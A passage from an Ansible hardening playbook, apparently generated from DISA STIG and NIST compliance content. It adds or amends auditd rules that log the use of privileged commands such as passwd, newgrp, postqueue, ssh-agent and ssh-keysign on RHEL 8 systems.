      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit)(?=.*(?:(?:-S |,)(?:{{ syscalls_found | join(&quot;|&quot;)
          }}))\b)((?:( -S |,)\w+)+)( -F path=/usr/bin/newgrp -F auid&gt;=1000 -F auid!=unset
          (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit{{ syscalls | join(',') }} -F path=/usr/bin/newgrp -F
          auid&gt;=1000 -F auid!=unset -F key=privileged
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030350
    - NIST-800-171-3.1.7
    - NIST-800-53-AC-2(4)
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - audit_rules_privileged_commands_newgrp
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Ensure auditd Collects Information on the Use of Privileged Commands - pam_timestamp_check
      - Perform remediation of Audit rules for /usr/sbin/pam_timestamp_check
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls: []
        syscall_grouping: []

    - name: Check existence of  in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit(( -S |,)\w+)*(( -S |,){{ item }})+(( -S |,)\w+)*
          -F path=/usr/sbin/pam_timestamp_check -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/privileged.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/privileged.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F path=/usr/sbin/pam_timestamp_check
          -F auid&gt;=1000 -F auid!=unset (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit{{ syscalls | join(',') }} -F path=/usr/sbin/pam_timestamp_check
          -F auid&gt;=1000 -F auid!=unset -F key=privileged
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls: []
        syscall_grouping: []

    - name: Check existence of  in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit(( -S |,)\w+)*(( -S |,){{ item }})+(( -S |,)\w+)*
          -F path=/usr/sbin/pam_timestamp_check -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit)(?=.*(?:(?:-S |,)(?:{{ syscalls_found | join(&quot;|&quot;)
          }}))\b)((?:( -S |,)\w+)+)( -F path=/usr/sbin/pam_timestamp_check -F auid&gt;=1000
          -F auid!=unset (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit{{ syscalls | join(',') }} -F path=/usr/sbin/pam_timestamp_check
          -F auid&gt;=1000 -F auid!=unset -F key=privileged
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030340
    - NIST-800-171-3.1.7
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - audit_rules_privileged_commands_pam_timestamp_check
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Ensure auditd Collects Information on the Use of Privileged Commands - passwd
      - Perform remediation of Audit rules for /usr/bin/passwd
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls: []
        syscall_grouping: []

    - name: Check existence of  in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit(( -S |,)\w+)*(( -S |,){{ item }})+(( -S |,)\w+)*
          -F path=/usr/bin/passwd -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/privileged.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/privileged.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F path=/usr/bin/passwd -F auid&gt;=1000
          -F auid!=unset (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit{{ syscalls | join(',') }} -F path=/usr/bin/passwd -F
          auid&gt;=1000 -F auid!=unset -F key=privileged
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls: []
        syscall_grouping: []

    - name: Check existence of  in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit(( -S |,)\w+)*(( -S |,){{ item }})+(( -S |,)\w+)*
          -F path=/usr/bin/passwd -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit)(?=.*(?:(?:-S |,)(?:{{ syscalls_found | join(&quot;|&quot;)
          }}))\b)((?:( -S |,)\w+)+)( -F path=/usr/bin/passwd -F auid&gt;=1000 -F auid!=unset
          (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit{{ syscalls | join(',') }} -F path=/usr/bin/passwd -F
          auid&gt;=1000 -F auid!=unset -F key=privileged
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030290
    - NIST-800-171-3.1.7
    - NIST-800-53-AC-2(4)
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - audit_rules_privileged_commands_passwd
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Ensure auditd Collects Information on the Use of Privileged Commands - postdrop
      - Perform remediation of Audit rules for /usr/sbin/postdrop
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls: []
        syscall_grouping: []

    - name: Check existence of  in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit(( -S |,)\w+)*(( -S |,){{ item }})+(( -S |,)\w+)*
          -F path=/usr/sbin/postdrop -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/privileged.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/privileged.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F path=/usr/sbin/postdrop -F auid&gt;=1000
          -F auid!=unset (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit{{ syscalls | join(',') }} -F path=/usr/sbin/postdrop
          -F auid&gt;=1000 -F auid!=unset -F key=privileged
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls: []
        syscall_grouping: []

    - name: Check existence of  in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit(( -S |,)\w+)*(( -S |,){{ item }})+(( -S |,)\w+)*
          -F path=/usr/sbin/postdrop -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit)(?=.*(?:(?:-S |,)(?:{{ syscalls_found | join(&quot;|&quot;)
          }}))\b)((?:( -S |,)\w+)+)( -F path=/usr/sbin/postdrop -F auid&gt;=1000 -F auid!=unset
          (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit{{ syscalls | join(',') }} -F path=/usr/sbin/postdrop
          -F auid&gt;=1000 -F auid!=unset -F key=privileged
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030311
    - NIST-800-171-3.1.7
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - audit_rules_privileged_commands_postdrop
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Ensure auditd Collects Information on the Use of Privileged Commands - postqueue
      - Perform remediation of Audit rules for /usr/sbin/postqueue
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls: []
        syscall_grouping: []

    - name: Check existence of  in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit(( -S |,)\w+)*(( -S |,){{ item }})+(( -S |,)\w+)*
          -F path=/usr/sbin/postqueue -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/privileged.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/privileged.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F path=/usr/sbin/postqueue -F auid&gt;=1000
          -F auid!=unset (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit{{ syscalls | join(',') }} -F path=/usr/sbin/postqueue
          -F auid&gt;=1000 -F auid!=unset -F key=privileged
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls: []
        syscall_grouping: []

    - name: Check existence of  in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit(( -S |,)\w+)*(( -S |,){{ item }})+(( -S |,)\w+)*
          -F path=/usr/sbin/postqueue -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit)(?=.*(?:(?:-S |,)(?:{{ syscalls_found | join(&quot;|&quot;)
          }}))\b)((?:( -S |,)\w+)+)( -F path=/usr/sbin/postqueue -F auid&gt;=1000 -F
          auid!=unset (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit{{ syscalls | join(',') }} -F path=/usr/sbin/postqueue
          -F auid&gt;=1000 -F auid!=unset -F key=privileged
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030312
    - NIST-800-171-3.1.7
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - audit_rules_privileged_commands_postqueue
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Record Any Attempts to Run ssh-agent - Perform remediation of Audit rules
      for /usr/bin/ssh-agent
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls: []
        syscall_grouping: []

    - name: Check existence of  in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit(( -S |,)\w+)*(( -S |,){{ item }})+(( -S |,)\w+)*
          -F path=/usr/bin/ssh-agent -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/privileged.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/privileged.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F path=/usr/bin/ssh-agent -F auid&gt;=1000
          -F auid!=unset (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit{{ syscalls | join(',') }} -F path=/usr/bin/ssh-agent
          -F auid&gt;=1000 -F auid!=unset -F key=privileged
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls: []
        syscall_grouping: []

    - name: Check existence of  in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit(( -S |,)\w+)*(( -S |,){{ item }})+(( -S |,)\w+)*
          -F path=/usr/bin/ssh-agent -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit)(?=.*(?:(?:-S |,)(?:{{ syscalls_found | join(&quot;|&quot;)
          }}))\b)((?:( -S |,)\w+)+)( -F path=/usr/bin/ssh-agent -F auid&gt;=1000 -F auid!=unset
          (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit{{ syscalls | join(',') }} -F path=/usr/bin/ssh-agent
          -F auid&gt;=1000 -F auid!=unset -F key=privileged
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030280
    - audit_rules_privileged_commands_ssh_agent
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Ensure auditd Collects Information on the Use of Privileged Commands - ssh-keysign
      - Perform remediation of Audit rules for /usr/libexec/openssh/ssh-keysign
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls: []
        syscall_grouping: []

    - name: Check existence of  in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit(( -S |,)\w+)*(( -S |,){{ item }})+(( -S |,)\w+)*
          -F path=/usr/libexec/openssh/ssh-keysign -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/privileged.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/privileged.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

